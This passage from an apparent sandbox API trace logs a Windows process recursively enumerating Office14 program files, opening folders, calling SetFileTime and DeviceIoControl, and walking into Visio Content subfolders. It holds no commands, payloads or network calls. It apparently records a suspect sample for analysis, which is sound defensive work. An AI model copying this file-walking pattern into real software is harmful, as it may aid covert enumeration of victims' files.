ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0x11ca6e00, ftLastWriteTime.dwHighDateTime=0x1cb701e, nFileSizeHigh=0x0, nFileSizeLow=0x20588, dwReserved0=0x0, dwReserved1=0x0, cFileName="STYLEMGR.DLL", cAlternateFileName="")) returned 1 [0079.687] FindNextFileW (in: hFindFile=0x2e9000, lpFindFileData=0x119f20c | out: lpFindFileData=0x119f20c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x12ca3000, ftCreationTime.dwHighDateTime=0x1cac1f1, ftLastAccessTime.dwLowDateTime=0x694b6370, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x12ca3000, ftLastWriteTime.dwHighDateTime=0x1cac1f1, nFileSizeHigh=0x0, nFileSizeLow=0x15f1, dwReserved0=0x0, dwReserved1=0x0, cFileName="subscription.xsd", cAlternateFileName="")) returned 1 [0079.687] FindNextFileW (in: hFindFile=0x2e9000, lpFindFileData=0x119f20c | out: lpFindFileData=0x119f20c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1a22a900, ftCreationTime.dwHighDateTime=0x1cb701e, ftLastAccessTime.dwLowDateTime=0xd67f2aa0, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0x1a22a900, ftLastWriteTime.dwHighDateTime=0x1cb701e, nFileSizeHigh=0x0, nFileSizeLow=0xef98, dwReserved0=0x0, dwReserved1=0x0, cFileName="SUMINFO.DLL", cAlternateFileName="")) returned 1 [0079.687] FindNextFileW (in: hFindFile=0x2e9000, lpFindFileData=0x119f20c | out: lpFindFileData=0x119f20c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x2a54f200, ftCreationTime.dwHighDateTime=0x1cab7c9, ftLastAccessTime.dwLowDateTime=0x5aca0270, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x2a54f200, ftLastWriteTime.dwHighDateTime=0x1cab7c9, nFileSizeHigh=0x0, nFileSizeLow=0x1d360, dwReserved0=0x0, dwReserved1=0x0, cFileName="TaxonomyControl.dll", cAlternateFileName="")) returned 1 [0079.687] FindNextFileW (in: hFindFile=0x2e9000, lpFindFileData=0x119f20c | out: lpFindFileData=0x119f20c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xecb7df00, ftCreationTime.dwHighDateTime=0x1ca911e, ftLastAccessTime.dwLowDateTime=0x5ad5e950, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xecb7df00, ftLastWriteTime.dwHighDateTime=0x1ca911e, nFileSizeHigh=0x0, nFileSizeLow=0x46c00, dwReserved0=0x0, dwReserved1=0x0, cFileName="THOCR.PSP", cAlternateFileName="")) returned 1 [0079.687] FindNextFileW (in: hFindFile=0x2e9000, lpFindFileData=0x119f20c | out: lpFindFileData=0x119f20c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x156cb00, ftCreationTime.dwHighDateTime=0x1cb6fff, ftLastAccessTime.dwLowDateTime=0xe33c4660, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0x156cb00, ftLastWriteTime.dwHighDateTime=0x1cb6fff, nFileSizeHigh=0x0, nFileSizeLow=0x8958, dwReserved0=0x0, dwReserved1=0x0, cFileName="THOCRAPI.DLL", cAlternateFileName="")) returned 1 [0079.687] FindNextFileW (in: hFindFile=0x2e9000, lpFindFileData=0x119f20c | out: lpFindFileData=0x119f20c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x11ca6e00, ftCreationTime.dwHighDateTime=0x1cb701e, ftLastAccessTime.dwLowDateTime=0xd0b43200, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0x11ca6e00, ftLastWriteTime.dwHighDateTime=0x1cb701e, nFileSizeHigh=0x0, nFileSizeLow=0x195780, dwReserved0=0x0, dwReserved1=0x0, cFileName="TIMESOLN.DLL", cAlternateFileName="")) returned 1 [0079.687] FindNextFileW (in: hFindFile=0x2e9000, lpFindFileData=0x119f20c | out: lpFindFileData=0x119f20c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1a22a900, ftCreationTime.dwHighDateTime=0x1cb701e, ftLastAccessTime.dwLowDateTime=0xd67f2aa0, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0x1a22a900, ftLastWriteTime.dwHighDateTime=0x1cb701e, nFileSizeHigh=0x0, nFileSizeLow=0x14380, dwReserved0=0x0, dwReserved1=0x0, cFileName="TLIMPT.EXE", cAlternateFileName="")) returned 1 [0079.687] FindNextFileW (in: hFindFile=0x2e9000, lpFindFileData=0x119f20c | out: lpFindFileData=0x119f20c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x156cb00, ftCreationTime.dwHighDateTime=0x1cb6fff, ftLastAccessTime.dwLowDateTime=0xe3410920, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0x156cb00, ftLastWriteTime.dwHighDateTime=0x1cb6fff, nFileSizeHigh=0x0, nFileSizeLow=0x28b88, dwReserved0=0x0, dwReserved1=0x0, cFileName="TWCUTCHR.DLL", cAlternateFileName="")) returned 1 [0079.687] FindNextFileW (in: hFindFile=0x2e9000, lpFindFileData=0x119f20c | out: lpFindFileData=0x119f20c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc004c700, ftCreationTime.dwHighDateTime=0x1ca9120, ftLastAccessTime.dwLowDateTime=0x5aeb55b0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xc004c700, ftLastWriteTime.dwHighDateTime=0x1ca9120, nFileSizeHigh=0x0, nFileSizeLow=0x1cd80, dwReserved0=0x0, dwReserved1=0x0, cFileName="TWCUTLIN.DLL", cAlternateFileName="")) returned 1 [0079.688] FindNextFileW (in: hFindFile=0x2e9000, lpFindFileData=0x119f20c | out: lpFindFileData=0x119f20c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc004c700, ftCreationTime.dwHighDateTime=0x1ca9120, ftLastAccessTime.dwLowDateTime=0x6d56d990, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xc004c700, ftLastWriteTime.dwHighDateTime=0x1ca9120, nFileSizeHigh=0x0, nFileSizeLow=0x12378, dwReserved0=0x0, dwReserved1=0x0, cFileName="TWLAY32.DLL", cAlternateFileName="")) returned 1 [0079.688] FindNextFileW (in: hFindFile=0x2e9000, lpFindFileData=0x119f20c | out: lpFindFileData=0x119f20c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc004c700, ftCreationTime.dwHighDateTime=0x1ca9120, ftLastAccessTime.dwLowDateTime=0x5aeb55b0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xc004c700, ftLastWriteTime.dwHighDateTime=0x1ca9120, nFileSizeHigh=0x0, nFileSizeLow=0x6d88, dwReserved0=0x0, dwReserved1=0x0, cFileName="TWORIENT.DLL", cAlternateFileName="")) returned 1 [0079.688] FindNextFileW (in: hFindFile=0x2e9000, lpFindFileData=0x119f20c | out: lpFindFileData=0x119f20c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc004c700, ftCreationTime.dwHighDateTime=0x1ca9120, ftLastAccessTime.dwLowDateTime=0x6d56d990, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xc004c700, ftLastWriteTime.dwHighDateTime=0x1ca9120, nFileSizeHigh=0x0, nFileSizeLow=0xa780, dwReserved0=0x0, dwReserved1=0x0, cFileName="TWRECC.DLL", cAlternateFileName="")) returned 1 [0079.688] FindNextFileW (in: hFindFile=0x2e9000, lpFindFileData=0x119f20c | out: lpFindFileData=0x119f20c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc004c700, ftCreationTime.dwHighDateTime=0x1ca9120, ftLastAccessTime.dwLowDateTime=0x6d56d990, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xc004c700, ftLastWriteTime.dwHighDateTime=0x1ca9120, nFileSizeHigh=0x0, nFileSizeLow=0xf180, dwReserved0=0x0, dwReserved1=0x0, cFileName="TWRECE.DLL", cAlternateFileName="")) returned 1 [0079.688] FindNextFileW (in: hFindFile=0x2e9000, lpFindFileData=0x119f20c | out: lpFindFileData=0x119f20c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc004c700, ftCreationTime.dwHighDateTime=0x1ca9120, ftLastAccessTime.dwLowDateTime=0x5aedb710, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xc004c700, ftLastWriteTime.dwHighDateTime=0x1ca9120, nFileSizeHigh=0x0, nFileSizeLow=0x5988, dwReserved0=0x0, dwReserved1=0x0, cFileName="TWRECS.DLL", cAlternateFileName="")) returned 1 [0079.688] FindNextFileW (in: hFindFile=0x2e9000, lpFindFileData=0x119f20c | out: lpFindFileData=0x119f20c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc004c700, ftCreationTime.dwHighDateTime=0x1ca9120, ftLastAccessTime.dwLowDateTime=0x5aedb710, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xc004c700, ftLastWriteTime.dwHighDateTime=0x1ca9120, nFileSizeHigh=0x0, nFileSizeLow=0x1e798, dwReserved0=0x0, dwReserved1=0x0, cFileName="TWSTRUCT.DLL", cAlternateFileName="")) returned 1 [0079.688] FindNextFileW (in: hFindFile=0x2e9000, lpFindFileData=0x119f20c | out: lpFindFileData=0x119f20c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1a22a900, ftCreationTime.dwHighDateTime=0x1cb701e, ftLastAccessTime.dwLowDateTime=0xd0c4dba0, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0x1a22a900, ftLastWriteTime.dwHighDateTime=0x1cb701e, nFileSizeHigh=0x0, nFileSizeLow=0x273970, dwReserved0=0x0, dwReserved1=0x0, cFileName="UML.DLL", cAlternateFileName="")) returned 1 [0079.688] FindNextFileW (in: hFindFile=0x2e9000, lpFindFileData=0x119f20c | out: lpFindFileData=0x119f20c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb4ab4f00, ftCreationTime.dwHighDateTime=0x1cab7e5, ftLastAccessTime.dwLowDateTime=0x84ee8d20, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0xb4ab4f00, ftLastWriteTime.dwHighDateTime=0x1cab7e5, nFileSizeHigh=0x0, nFileSizeLow=0xc5750, dwReserved0=0x0, dwReserved1=0x0, cFileName="UMLSYS.DLL", cAlternateFileName="")) returned 1 [0079.688] FindNextFileW (in: hFindFile=0x2e9000, lpFindFileData=0x119f20c | out: lpFindFileData=0x119f20c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3f5b8400, ftCreationTime.dwHighDateTime=0x1cba06e, ftLastAccessTime.dwLowDateTime=0xdd86ba20, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0x3f5b8400, ftLastWriteTime.dwHighDateTime=0x1cba06e, nFileSizeHigh=0x0, nFileSizeLow=0xa8390, dwReserved0=0x0, dwReserved1=0x0, cFileName="URLREDIR.DLL", cAlternateFileName="")) returned 1 [0079.688] FindNextFileW (in: hFindFile=0x2e9000, lpFindFileData=0x119f20c | out: lpFindFileData=0x119f20c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1ee75d00, ftCreationTime.dwHighDateTime=0x1cb701e, ftLastAccessTime.dwLowDateTime=0xd6b388e0, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0x1ee75d00, ftLastWriteTime.dwHighDateTime=0x1cb701e, nFileSizeHigh=0x0, nFileSizeLow=0x1f570, dwReserved0=0x0, dwReserved1=0x0, cFileName="VAOSOLX.DLL", cAlternateFileName="")) returned 1 [0079.688] FindNextFileW (in: hFindFile=0x2e9000, lpFindFileData=0x119f20c | out: lpFindFileData=0x119f20c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa8bf8d00, ftCreationTime.dwHighDateTime=0x1cab7e5, ftLastAccessTime.dwLowDateTime=0x84f5b140, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0xa8bf8d00, ftLastWriteTime.dwHighDateTime=0x1cab7e5, nFileSizeHigh=0x0, nFileSizeLow=0x22dd8, dwReserved0=0x0, dwReserved1=0x0, cFileName="VBLZ0007.TLL", cAlternateFileName="")) returned 1 [0079.688] FindNextFileW (in: hFindFile=0x2e9000, lpFindFileData=0x119f20c | out: lpFindFileData=0x119f20c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa0675200, ftCreationTime.dwHighDateTime=0x1cab7e5, ftLastAccessTime.dwLowDateTime=0x84f5b140, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0xa0675200, ftLastWriteTime.dwHighDateTime=0x1cab7e5, nFileSizeHigh=0x0, nFileSizeLow=0x1f1b0, dwReserved0=0x0, dwReserved1=0x0, cFileName="VBLZ0009.TLL", cAlternateFileName="")) returned 1 [0079.688] FindNextFileW (in: hFindFile=0x2e9000, lpFindFileData=0x119f20c | out: lpFindFileData=0x119f20c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa52c0600, ftCreationTime.dwHighDateTime=0x1cab7e5, ftLastAccessTime.dwLowDateTime=0x84f5b140, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0xa52c0600, ftLastWriteTime.dwHighDateTime=0x1cab7e5, nFileSizeHigh=0x0, nFileSizeLow=0x29bd8, dwReserved0=0x0, dwReserved1=0x0, cFileName="VBLZ000C.TLL", cAlternateFileName="")) returned 1 [0079.688] FindNextFileW (in: hFindFile=0x2e9000, lpFindFileData=0x119f20c | out: lpFindFileData=0x119f20c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa52c0600, ftCreationTime.dwHighDateTime=0x1cab7e5, ftLastAccessTime.dwLowDateTime=0x84f5b140, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0xa52c0600, ftLastWriteTime.dwHighDateTime=0x1cab7e5, nFileSizeHigh=0x0, nFileSizeLow=0x1d9e0, dwReserved0=0x0, dwReserved1=0x0, cFileName="VBLZ0011.TLL", cAlternateFileName="")) returned 1 [0079.688] FindNextFileW (in: hFindFile=0x2e9000, lpFindFileData=0x119f20c | out: lpFindFileData=0x119f20c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa0ef0600, ftCreationTime.dwHighDateTime=0x1c44478, ftLastAccessTime.dwLowDateTime=0x84f5b140, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0xa0ef0600, ftLastWriteTime.dwHighDateTime=0x1c44478, nFileSizeHigh=0x0, nFileSizeLow=0x10c8, dwReserved0=0x0, dwReserved1=0x0, cFileName="VBS2EXCL.XSL", cAlternateFileName="")) returned 1 [0079.688] FindNextFileW (in: hFindFile=0x2e9000, lpFindFileData=0x119f20c | out: lpFindFileData=0x119f20c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa0ef0600, ftCreationTime.dwHighDateTime=0x1c44478, ftLastAccessTime.dwLowDateTime=0x84f5b140, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0xa0ef0600, ftLastWriteTime.dwHighDateTime=0x1c44478, nFileSizeHigh=0x0, nFileSizeLow=0x189d, dwReserved0=0x0, dwReserved1=0x0, cFileName="VBS2WORD.XSL", cAlternateFileName="")) returned 1 [0079.688] FindNextFileW (in: hFindFile=0x2e9000, lpFindFileData=0x119f20c | out: lpFindFileData=0x119f20c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x11ca6e00, ftCreationTime.dwHighDateTime=0x1cb701e, ftLastAccessTime.dwLowDateTime=0xd6bf6fc0, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0x11ca6e00, ftLastWriteTime.dwHighDateTime=0x1cb701e, nFileSizeHigh=0x0, nFileSizeLow=0x24380, dwReserved0=0x0, dwReserved1=0x0, cFileName="VERBWIND.DLL", cAlternateFileName="")) returned 1 [0079.688] FindNextFileW (in: hFindFile=0x2e9000, lpFindFileData=0x119f20c | out: lpFindFileData=0x119f20c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x11ca6e00, ftCreationTime.dwHighDateTime=0x1cb701e, ftLastAccessTime.dwLowDateTime=0xd6c693e0, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0x11ca6e00, ftLastWriteTime.dwHighDateTime=0x1cb701e, nFileSizeHigh=0x0, nFileSizeLow=0x22558, dwReserved0=0x0, dwReserved1=0x0, cFileName="VIEWMODL.DLL", cAlternateFileName="")) returned 1 [0079.688] FindNextFileW (in: hFindFile=0x2e9000, lpFindFileData=0x119f20c | out: lpFindFileData=0x119f20c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x50bfc800, ftCreationTime.dwHighDateTime=0x1cbb888, ftLastAccessTime.dwLowDateTime=0xd102bf60, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0x50bfc800, ftLastWriteTime.dwHighDateTime=0x1cbb888, nFileSizeHigh=0x0, nFileSizeLow=0xefa180, dwReserved0=0x0, dwReserved1=0x0, cFileName="VISBRGR.DLL", cAlternateFileName="")) returned 1 [0079.688] FindNextFileW (in: hFindFile=0x2e9000, lpFindFileData=0x119f20c | out: lpFindFileData=0x119f20c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6ff0d00, ftCreationTime.dwHighDateTime=0x1cb71c7, ftLastAccessTime.dwLowDateTime=0xd10520c0, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0x6ff0d00, ftLastWriteTime.dwHighDateTime=0x1cb71c7, nFileSizeHigh=0x0, nFileSizeLow=0x4b370, dwReserved0=0x0, dwReserved1=0x0, cFileName="VISCOLOR.DLL", cAlternateFileName="")) returned 1 [0079.688] FindNextFileW (in: hFindFile=0x2e9000, lpFindFileData=0x119f20c | out: lpFindFileData=0x119f20c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xda57df00, ftCreationTime.dwHighDateTime=0x1cba5d5, ftLastAccessTime.dwLowDateTime=0xd109e380, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0xda57df00, ftLastWriteTime.dwHighDateTime=0x1cba5d5, nFileSizeHigh=0x0, nFileSizeLow=0x38560, dwReserved0=0x0, dwReserved1=0x0, cFileName="VISDLGU.DLL", cAlternateFileName="")) returned 1 [0079.688] FindNextFileW (in: hFindFile=0x2e9000, lpFindFileData=0x119f20c | out: lpFindFileData=0x119f20c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x5c480800, ftCreationTime.dwHighDateTime=0x1cba5d6, ftLastAccessTime.dwLowDateTime=0xd11107a0, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0x5c480800, ftLastWriteTime.dwHighDateTime=0x1cba5d6, nFileSizeHigh=0x0, nFileSizeLow=0xd5760, dwReserved0=0x0, dwReserved1=0x0, cFileName="VISGRF.DLL", cAlternateFileName="")) returned 1 [0079.688] FindNextFileW (in: hFindFile=0x2e9000, lpFindFileData=0x119f20c | out: lpFindFileData=0x119f20c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xf2284b00, ftCreationTime.dwHighDateTime=0x1cb7007, ftLastAccessTime.dwLowDateTime=0xd115ca60, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0xf2284b00, ftLastWriteTime.dwHighDateTime=0x1cb7007, nFileSizeHigh=0x0, nFileSizeLow=0x11bd60, dwReserved0=0x0, dwReserved1=0x0, cFileName="VISICON.EXE", cAlternateFileName="")) returned 1 [0079.688] FindNextFileW (in: hFindFile=0x2e9000, lpFindFileData=0x119f20c | out: lpFindFileData=0x119f20c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x504da6a0, ftCreationTime.dwHighDateTime=0x1d305eb, ftLastAccessTime.dwLowDateTime=0x504da6a0, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0x504da6a0, ftLastWriteTime.dwHighDateTime=0x1d305eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Visio Content", cAlternateFileName="")) returned 1 [0079.688] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xa948f8 [0079.688] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\Visio Content" (normalized: "c:\\program files\\microsoft office\\office14\\visio content"), fInfoLevelId=0x0, lpFileInformation=0x119f108 | out: lpFileInformation=0x119f108*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x504da6a0, ftCreationTime.dwHighDateTime=0x1d305eb, ftLastAccessTime.dwLowDateTime=0x504da6a0, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0x504da6a0, ftLastWriteTime.dwHighDateTime=0x1d305eb, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1 [0079.689] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\Visio Content" (normalized: "c:\\program files\\microsoft office\\office14\\visio content"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2200000, hTemplateFile=0x0) returned 0x164 [0079.689] SetFileTime (hFile=0x164, lpCreationTime=0x0, lpLastAccessTime=0x119f14c, lpLastWriteTime=0x119f14c) returned 0 [0079.689] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x4000) returned 0x11f19d8 [0079.689] DeviceIoControl (in: hDevice=0x164, dwIoControlCode=0x900a8, lpInBuffer=0x0, nInBufferSize=0x0, lpOutBuffer=0x11f19d8, nOutBufferSize=0x4000, lpBytesReturned=0x119f1a4, lpOverlapped=0x0 | out: lpOutBuffer=0x11f19d8, lpBytesReturned=0x119f1a4, lpOverlapped=0x0) returned 0 [0079.689] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x11f19d8) returned 1 [0079.689] NtClose (Handle=0x164) returned 0x0 [0079.689] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xa948f8) returned 1 [0079.689] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xa948f8 [0079.690] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x11fb730 [0079.690] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x11fb7b8 [0079.690] FindFirstFileExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\Visio Content\\*", fInfoLevelId=0x1, lpFindFileData=0x119ef54, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x119ef54) returned 0x2e9080 [0079.690] FindNextFileW (in: hFindFile=0x2e9080, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x504da6a0, ftCreationTime.dwHighDateTime=0x1d305eb, ftLastAccessTime.dwLowDateTime=0x504da6a0, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0x504da6a0, ftLastWriteTime.dwHighDateTime=0x1d305eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0079.690] FindNextFileW (in: hFindFile=0x2e9080, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x504da6a0, ftCreationTime.dwHighDateTime=0x1d305eb, ftLastAccessTime.dwLowDateTime=0x52203420, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0x52203420, ftLastWriteTime.dwHighDateTime=0x1d305eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="1033", cAlternateFileName="")) returned 1 [0079.690] FindNextFileW (in: hFindFile=0x2e9080, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x504da6a0, ftCreationTime.dwHighDateTime=0x1d305eb, ftLastAccessTime.dwLowDateTime=0x52203420, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0x52203420, ftLastWriteTime.dwHighDateTime=0x1d305eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="1033", cAlternateFileName="")) returned 0 [0079.690] GetLastError () returned 0x12 [0079.690] FindFirstFileExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\Visio Content\\*", fInfoLevelId=0x1, lpFindFileData=0x119ef54, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x119ef54) returned 0x2e9040 [0079.690] FindClose (in: hFindFile=0x2e9080 | out: hFindFile=0x2e9080) returned 1 [0079.690] FindNextFileW (in: hFindFile=0x2e9040, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x504da6a0, ftCreationTime.dwHighDateTime=0x1d305eb, ftLastAccessTime.dwLowDateTime=0x504da6a0, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0x504da6a0, ftLastWriteTime.dwHighDateTime=0x1d305eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0079.690] FindNextFileW (in: hFindFile=0x2e9040, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x504da6a0, ftCreationTime.dwHighDateTime=0x1d305eb, ftLastAccessTime.dwLowDateTime=0x52203420, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0x52203420, ftLastWriteTime.dwHighDateTime=0x1d305eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="1033", cAlternateFileName="")) returned 1 [0079.690] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x11fb6a8 [0079.690] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\Visio Content\\1033" (normalized: "c:\\program files\\microsoft office\\office14\\visio content\\1033"), fInfoLevelId=0x0, lpFileInformation=0x119ee50 | out: lpFileInformation=0x119ee50*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x504da6a0, ftCreationTime.dwHighDateTime=0x1d305eb, ftLastAccessTime.dwLowDateTime=0x52203420, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0x52203420, ftLastWriteTime.dwHighDateTime=0x1d305eb, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1 [0079.691] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\Visio Content\\1033" (normalized: "c:\\program files\\microsoft office\\office14\\visio content\\1033"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2200000, hTemplateFile=0x0) returned 0x164 [0079.691] SetFileTime (hFile=0x164, lpCreationTime=0x0, lpLastAccessTime=0x119ee94, lpLastWriteTime=0x119ee94) returned 0 [0079.691] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x4000) returned 0x11f19d8 [0079.692] DeviceIoControl (in: hDevice=0x164, dwIoControlCode=0x900a8, lpInBuffer=0x0, nInBufferSize=0x0, lpOutBuffer=0x11f19d8, nOutBufferSize=0x4000, lpBytesReturned=0x119eeec, lpOverlapped=0x0 | out: lpOutBuffer=0x11f19d8, lpBytesReturned=0x119eeec, lpOverlapped=0x0) returned 0 [0079.692] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x11f19d8) returned 1 [0079.692] NtClose (Handle=0x164) returned 0x0 [0079.692] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x11fb6a8) returned 1 [0079.692] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x11fb6a8 [0079.692] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x11fb8c8 [0079.692] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x11fb950 [0079.692] FindFirstFileExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\Visio Content\\1033\\*", fInfoLevelId=0x1, lpFindFileData=0x119ec9c, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: 